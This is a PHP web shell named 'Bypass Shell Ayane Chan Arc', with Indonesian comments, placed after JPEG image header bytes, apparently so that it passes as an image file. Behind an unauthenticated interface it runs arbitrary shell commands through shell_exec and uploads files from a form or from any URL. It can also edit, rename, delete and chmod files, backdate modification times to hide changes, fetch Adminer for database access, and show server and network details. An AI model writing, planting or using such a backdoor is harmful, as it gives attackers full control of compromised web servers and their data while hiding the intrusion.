ÿØÿàJFIF``ÿþ;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80 ÿÛC   %# , #&')*)-0-(0%()(ÿÛC   (((((((((((((((((((((((((((((((((((((((((((((((((((ÿÀ x"ÿÄ ÿĵ}!1AQa"q2‘¡#B±ÁRÑð$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ ÿĵw!1AQaq"2B‘¡±Á #3RðbrÑ $4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ ?òU"Ž)1Šz×˶~ïØC@^)qO¦æª7c@â—ìQŠW4å(š;ŠH@)qK@¤ZB \QŠ3@Ќ*6©zÓ 4DÑSñEUÌ\Hȧ(  Ӏâ†Â1)ø Râ¦æê"F)qH챡w!UFI=-öh«°§\åïŠ"Y<»áºn<ùª§Ä­¹u`¾Qÿd¯ë]qÁVjö< ÜS–ÑŸ'=üÒm}ÿäu¸£Ÿ¤jöºšâ&Ù(ÆÝZÑ#¹çNPv’±íá±4qTÕZ2R‹ê„ š\LTØi¤Å?”ÐÊ)ÄQL††(§H)â†8 Å-v¤hbŸ£øjçÅÚúس…j‚ÜÚjkŒO9OA϶tÐZ ŕ›© Ml¯÷ÿÃ9kâ}V×Q’;I:Fá$ImY6“œ{œô-[T×"ðÊނbÞ¹ó:øWcs è¶ æEi’B0Iè*Åø‰´˜U£Fùñå×TÕތù4–Ç‚èÚä··Ó=þ·xÒÆdòUÉ9íÔvïZ2·¹šKy°dXíÁ’N€œŸðí^¿‡¥·úQ‰ 0‘\ϊÌ.—Û¢Úv›#€qµӖ¨ôrœCÃâ£R*îÿž‡æŠ(çml~®šiƚi8Šã¢”Š+7HÅ(¦Òæ±%1ÔRKH´É-å{yãš)"0eaÔÈ5èÚ'Œ®µK°×IÍ`ŒcxÏ\zóúכU½.åì}p}Á«„œYåæù}s2âœ&R¥ç5Óeóoô¹çúeÆ©x¶št]\·Hâ?à?ôø¹ÌºÃMŬ€KhT)F€Ýs‘ƒÇc^sà=CÄ6GP>iܺÆX/?(Î>÷\ɯqøWáCG·¼Ôµ«™fÔu2’Ê®rSÀcýîN{•Ó,5*}nϐÅq^aŠN1´"ûo÷¿ø”^Gs¥jW0Ä̓A+Füu â®Ù_ÞL¼•}ÿw¼)q&¶5m>#$s&.QFpÊ0òÀü+‹He‚@»X zW;ƒLç£QN ›:@V¿³ŽBI¥žr'ðÀ5‘㦙r¯a0hæ$p7,Yޝ¯^õ³ðûN¾ÕœÖòÃG–ñg±„ãZ‘|¸ªW]ã§àÿÌĤÍlø¢ÖÊÊåÊ9ÓÍs±$`Ä äñÇӟ¨¬\×4 á£>Ë/Ìèf4ý­ Ùiª¶¢š)´TØí¹®åRêº`3ùÒ/'Šõ=M7F²²Ñ/å‰.®Ó{C*’²±' ämô=q^ezêŠO•ËÉoç÷Nk˜¼ %([™¾£ï|¨Zéúö°{ÅIêkœI/´Œ.`00}³Þ´ô?Í¡&¥â›ÿí«Í…bŽEÝ\cåSÀìªÚ-Ëxg\·Ó‹·ö5öãl¬IÓL`žŠÃ$PEwÖ÷@†a‚ÁžÕéÑÄF­(ʛ÷YùV"U*V”êüMêVÑt­7C?f±†;xµÄç<#©'ØTÏâ$]m·»K†#¶…¦föA}êå½´rZȗ ÎϘp{Tʑā"EDQ€ª0ªÔËB} Wg¾YD±»Í]»öÏ¥v÷¶vÎê Xºšó–’HfÜ@kwê@å©õËùtRkQŸ*K2§“Ÿ5Ù°¯ ŸÓò®¼=nTÓ1© ´Ñq}m£ÈâK{·2æRðÀÒzrTu¬»èÍxëçϤýÙ-eOæ¸ýjޙ¨]jwR\lò´à»aV_žOW>ƒÐVª…c†q\ïÞw6ZnA46º­¼ÜEÅ­Êr޹Và×/yà ßÙKm.‘k nh# "û†ùñ]ŽÄ„§–¡TvЧzÂÞfcÂ04îÖ¡cÏl~G§ͬÝÞéëo, Ï& À`¡§LW”êú|úV¥ser¤K†68ààõƽ›ÄúÝíÞ©káÍ S íҙ.n—­¼9ùŠûžƒðúÔτ4ÑäÓl㷴ѳÆò¸k‰ ‚w~c’9íÍqâñô¨Ê0ÜŸn‹»>‡‡ó9àfàÕá&¯åæ¾G‰æŠB$‚:Š+¡¥ó ‡ýj}Ev~:ðΣâ/iëhVñAû˗ÈT;¹oaøã­qÖiæÝÃ÷œÖ½'Yñ Ó_Ë¥xj×íڒÿ®ó·³z··nùä*£¯ÐtÞ»ì¶ÕŸÅ2ƒäŒÙ—ã}Eþß¡èÂ2{vK©¦#næ^>…ŽâG5è>ÔK±…òÒï=9>€œzõükƒÑü-{-õÍψÍ<¤<Îê 11YSøUg×çŠÑԙ6¯(üÜà;÷®ü5(R‚„žÝ»õ>.«çwGÐ%Ú@êÎr1LYr õ¯ƒáÎ¥lˆtýJÉv㕎HIúìzî< a©hú(³ÖoMíÂÈÌ%24Ÿ)9-ÍtÉA+Ř+õ:——EaµœúÒ¤ÿ.ïÙÿ=©ö ö÷­'`ÑdàÀ3Y¦Q¥Àè)—±[:yͱXà1(>ç·ãPy¡OZdӍ ƒŸ¥Sz‹Fú)”4RFñÿy\?Ì×54k/*"÷.°ù‡zIc…¤W’6o¾ªØQýErÞ2³¹½K2óížqæ©ýXV98퐣¶sP”º²•Œ-+UŽÃâÉTš6ƒTµ«ýà$^ßCŽƒâ ðö™¬ißEζ¥þÔ&hçL˜Üm8U=°00y«â >£¤ÛÉ¥2Aye*Ïnà ہ¯xsÅóͨE¥xžËû;Uoõ-Ý\vù èyéþ8¯7ЌêҊ’”yeÝvkõô5¦âÚMõ<—_À×5?ÒdÿЍ'Š£ò|Kª¦1‹™?ô#Ez’•8¿$~·BW¥䌅ó7!Ý%ÏÊÉÔoz÷¿ è6þÑ!´·‹kã|ÄòÌç©'¿§á^+ᅉüE¦‹‡T‹íX¹ÀÀ ׿I(uÝ÷èÊx?*mòØø®-qöÔìµ¶ÿ2ë`FkбŸÈñË0,vŒsž*ëõ)¶ÄÄH÷¯Ôõ `ñ]ÆûäFà·qŒb”µ<\¯ñ•]%ÙþZ~6=¢Âþ,|Ä7lÕËÛèc±’UÆF9ükÌ´=q.dfÓÆ¼±¸eyÁÇZÔÔõF–ÛìöqM4²pr¥BSKžÛœR¤á'º;E» ™ö¥³¼A`?ÌÖQÈcÙ‘Ž: ³i`®›îU%u[rG°9þy¡Åô>_0šxª¿â™cûI-±.ß|U++õ>jnbÁ$ðNýUb=î²÷‰îïåU¢Ð滼ŽHä2"eY‚y`Ÿ¡ö÷ª\×8î‹rjPÙrû÷¬k“ äm”tÈ®•ôi•wcg]ù5CûµL‘äÿ«„n'õ«åbMˆ®E†‘1Œò-qÛ=ÿ*óÒyÍzÇÄ;x´EC ±¡–í¸÷>Áɯ&<QZÚÚaŽ-Uï§ê{„õ¸±…˜®ì`ñÞº§ºÛ ÚÝ»q^=àýDÂ<¦<¯B[ÖàçŒT'gcçëáÔ*J=›<ÃǬÄS7ªÿ…_Æ­mϪúš)Éê}æ_/öZ~ˆÿÙ php_uname(), 'PHP Version' => phpversion(), 'Server IP' => $_SERVER['SERVER_ADDR'], 'Client IP' => $_SERVER['REMOTE_ADDR'], 'Document Root' => $_SERVER['DOCUMENT_ROOT'], 'Server Software' => $_SERVER['SERVER_SOFTWARE'], ]; foreach ($info as $key => $value) { echo "

$key: $value

"; } } // Fungsi untuk menampilkan informasi jaringan function displayNetworkInfo() { $info = [ 'Hostname' => gethostname(), 'Server IP Address' => $_SERVER['SERVER_ADDR'], 'Client IP Address' => $_SERVER['REMOTE_ADDR'], 'Server Port' => $_SERVER['SERVER_PORT'], 'Client Port' => $_SERVER['REMOTE_PORT'], 'Request Method' => $_SERVER['REQUEST_METHOD'], 'User Agent' => $_SERVER['HTTP_USER_AGENT'], ]; foreach ($info as $key => $value) { echo "

$key: $value

"; } } // Fungsi untuk mengubah tanggal modifikasi file function changeFileDate($path, $newDate) { $timestamp = strtotime($newDate); if (touch($path, $timestamp)) { echo "
Tanggal berhasil diubah.
"; } else { echo "
Gagal mengubah tanggal.
"; } } // Fungsi upload file dari URL function uploadFromUrl($url, $saveTo) { $fileContent = @file_get_contents($url); if ($fileContent === FALSE) { echo "
Gagal mengunduh file dari URL.
"; return; } if (@file_put_contents($saveTo, $fileContent) === FALSE) { echo "
Gagal menyimpan file ke $saveTo.
"; return; } echo "
File berhasil diupload: $saveTo
"; } // Fungsi upload file dari form function uploadFromForm($file, $saveTo) { if (@move_uploaded_file($file['tmp_name'], $saveTo)) { echo "
File berhasil diupload: $saveTo
"; } else { echo "
Gagal mengupload file.
"; } } // Fungsi untuk memecah nama file panjang menjadi beberapa baris function format_filename($filename) { return htmlspecialchars($filename); } // Fungsi untuk menampilkan warna merah untuk file atau folder yang terkunci atau milik root function get_file_style($path) { $perms = fileperms($path); $owner = fileowner($path); // Cek apakah file milik root atau memiliki izin terbatas if ($owner === 0 || !is_writable($path)) { return "color: red;"; // Warna merah } return ""; // Warna default } // Fungsi untuk menampilkan direktori dan file function display_path_links($dir) { if (is_dir($dir)) { $folders = []; $files = []; $items = scandir($dir); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; if (is_dir($dir . '/' . $item)) { $folders[] = $item; } else { $files[] = $item; } } foreach ($folders as $folder) { $folderPath = realpath($dir . '/' . $folder); $encodedPath = urlencode(base64_encode($folderPath)); $style = get_file_style($folderPath); echo "
"; echo "" . format_filename($folder) . "/"; echo "" . get_permissions($folderPath) . ""; echo "" . date("Y-m-d H:i:s", filemtime($folderPath)) . ""; echo ""; echo ""; echo ""; echo ""; echo "
"; // Form Rename echo "

Ganti Nama

"; // Form Chmod echo "

Ubah Chmod

"; // Form Ubah Tanggal echo "

Ubah Tanggal

"; // Delete Confirmation echo "

Hapus Folder

Apakah Anda yakin ingin menghapus folder ini?

"; } foreach ($files as $file) { $filePath = realpath($dir . '/' . $file); $encodedPath = urlencode(base64_encode($filePath)); $style = get_file_style($filePath); echo "
"; echo "" . format_filename($file) . ""; echo "" . get_permissions($filePath) . ""; echo "" . date("Y-m-d H:i:s", filemtime($filePath)) . ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo "Download"; echo "
"; // Form Rename echo "

Ganti Nama

"; // Form Chmod echo "

Ubah Chmod

"; // Form Ubah Tanggal echo "

Ubah Tanggal

"; // Form Edit echo "

Edit File

"; // Delete Confirmation echo "

Hapus File

Apakah Anda yakin ingin menghapus file ini?

"; } } else { echo "
Direktori tidak ditemukan.
"; } } // Fungsi untuk menampilkan izin file function get_permissions($file) { $perms = @fileperms($file); if ($perms === FALSE) return '---------'; $info = ($perms & 0x4000) ? 'd' : '-'; $info .= ($perms & 0x0100) ? 'r' : '-'; $info .= ($perms & 0x0080) ? 'w' : '-'; $info .= ($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'); $info .= ($perms & 0x0020) ? 'r' : '-'; $info .= ($perms & 0x0010) ? 'w' : '-'; $info .= ($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'); $info .= ($perms & 0x0004) ? 'r' : '-'; $info .= ($perms & 0x0002) ? 'w' : '-'; $info .= ($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'); return $info; } // Fungsi untuk menghapus item function deleteItem($path) { $path = base64_decode(urldecode($path)); if (empty($path)) { echo "
Path tidak boleh kosong.
"; return; } if (is_dir($path)) { if (@rmdir($path)) { echo "
Direktori berhasil dihapus.
"; } else { echo "
Gagal menghapus direktori.
"; } } else { if (@unlink($path)) { echo "
File berhasil dihapus.
"; } else { echo "
Gagal menghapus file.
"; } } } // Fungsi untuk rename file/folder function renameFile($source, $destination) { $source = base64_decode(urldecode($source)); if (empty($source) || empty($destination)) { echo "
Path tidak boleh kosong.
"; return; } if (@rename($source, $destination)) { echo "
File berhasil diganti namanya.
"; } else { echo "
Gagal mengganti nama file.
"; } } // Fungsi untuk mengubah chmod function changePermissions($path, $mode, $copyFrom = null, $manual = false) { $path = base64_decode(urldecode($path)); if (empty($path)) { echo "
Path tidak boleh kosong.
"; return; } if ($copyFrom) { $copyFrom = realpath($copyFrom); if ($copyFrom && file_exists($copyFrom)) { $mode = @fileperms($copyFrom) & 0777; // Ambil izin chmod dari file lain } else { echo "
File sumber chmod tidak ditemukan.
"; return; } } elseif ($manual) { $mode = str2oct($mode); // Konversi dari format string ke oktal } else { $mode = octdec($mode); } if (@chmod($path, $mode)) { echo "
Chmod berhasil diubah.
"; } else { echo "
Gagal mengubah chmod.
"; } } // Fungsi untuk mengubah tanggal modifikasi file function changeDate($path, $newdate) { $path = base64_decode(urldecode($path)); if (empty($path)) { echo "
Path tidak boleh kosong.
"; return; } changeFileDate($path, $newdate); } // Fungsi untuk mengedit file function editFile($path, $content) { $path = base64_decode(urldecode($path)); if (empty($path)) { echo "
Path tidak boleh kosong.
"; return; } if (@file_put_contents($path, $content) !== false) { echo "
File berhasil diedit.
"; } else { echo "
Gagal mengedit file.
"; } } // Fungsi untuk menjalankan perintah terminal function executeCommand($command, $dir) { chdir($dir); $output = @shell_exec($command); return htmlspecialchars($output); } // Fungsi untuk meng-upload Adminer function uploadAdminer($filename, $dir) { $url = "https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1-en.php"; $saveTo = rtrim($dir, '/') . '/' . $filename . '.php'; uploadFromUrl($url, $saveTo); } // Proses permintaan yang diterima if (isset($_POST['url']) && isset($_POST['dir'])) { $url = $_POST['url']; $uploadDir = base64_decode(urldecode($_POST['dir'])); $filename = basename($url); $savePath = rtrim($uploadDir, '/') . '/' . $filename; uploadFromUrl($url, $savePath); } if (isset($_FILES['file']) && isset($_POST['dir'])) { $uploadDir = base64_decode(urldecode($_POST['dir'])); $filename = basename($_FILES['file']['name']); $savePath = rtrim($uploadDir, '/') . '/' . $filename; uploadFromForm($_FILES['file'], $savePath); } if (isset($_POST['delete']) && isset($_POST['path'])) { deleteItem($_POST['path']); } if (isset($_POST['rename']) && isset($_POST['source']) && isset($_POST['destination'])) { renameFile($_POST['source'], $_POST['destination']); } if (isset($_POST['chmod']) && isset($_POST['source'])) { $chmodMode = $_POST['chmodMode']; $copyFrom = isset($_POST['copyChmod']) && !empty($_POST['copyChmod']) ? $_POST['copyChmod'] : null; $manual = isset($_POST['manualChmod']) && !empty($_POST['manualChmod']) ? $_POST['manualChmod'] : null; $mode = isset($_POST['mode']) && !empty($_POST['mode']) ? $_POST['mode'] : ''; switch ($chmodMode) { case 'biasa': changePermissions($_POST['source'], $mode); break; case 'manual': changePermissions($_POST['source'], $manual, null, true); break; case 'copy': changePermissions($_POST['source'], '', $copyFrom); break; default: echo "
Mode chmod tidak valid.
"; } } if (isset($_POST['changedate']) && isset($_POST['source']) && isset($_POST['newdate'])) { changeDate($_POST['source'], $_POST['newdate']); } if (isset($_POST['saveEdit']) && isset($_POST['editSource']) && isset($_POST['content'])) { editFile($_POST['editSource'], $_POST['content']); } if (isset($_POST['command']) && isset($_POST['dir'])) { $command = $_POST['command']; $dir = base64_decode(urldecode($_POST['dir'])); $commandOutput = executeCommand($command, $dir); } if (isset($_POST['uploadAdminer']) && isset($_POST['adminerFilename']) && isset($_POST['dir'])) { $filename = $_POST['adminerFilename']; $dir = base64_decode(urldecode($_POST['dir'])); uploadAdminer($filename, $dir); } if (isset($_GET['download'])) { $file = base64_decode(urldecode($_GET['download'])); if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($file)); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } // Fungsi untuk mengubah izin manual ke oktal function str2oct($str) { $oct = array(0, 0, 0); for ($i = 0; $i < 3; $i++) { if ($str[$i * 3 + 1] == 'r') $oct[$i] += 4; if ($str[$i * 3 + 2] == 'w') $oct[$i] += 2; if ($str[$i * 3 + 3] == 'x' || $str[$i * 3 + 3] == 's' || $str[$i * 3 + 3] == 't') $oct[$i] += 1; } return octdec(implode('', $oct)); } $dir = isset($_GET['dir']) ? base64_decode(urldecode($_GET['dir'])) : '.'; $displayDir = realpath($dir); $dirArray = array_filter(explode(DIRECTORY_SEPARATOR, $displayDir), function($val) { return $val !== ''; }); ?> Bypass Shell Ayane Chan Arc

Bypass Shell Ayane Chan Arc

Welcome Image

Add New File

Add New Folder

Upload Adminer

Upload File ke Direktori Saat Ini

Daftar Direktori

Direktori Saat Ini: / "; foreach ($dirArray as $index => $folder) { $currentPath .= htmlspecialchars($folder) . '/'; $encodedPath = urlencode(base64_encode($currentPath)); echo "" . htmlspecialchars($folder) . ""; if ($index < count($dirArray) - 1) { echo " / "; } } ?>

Terminal

© Bypass Shell Ayane Chan Arc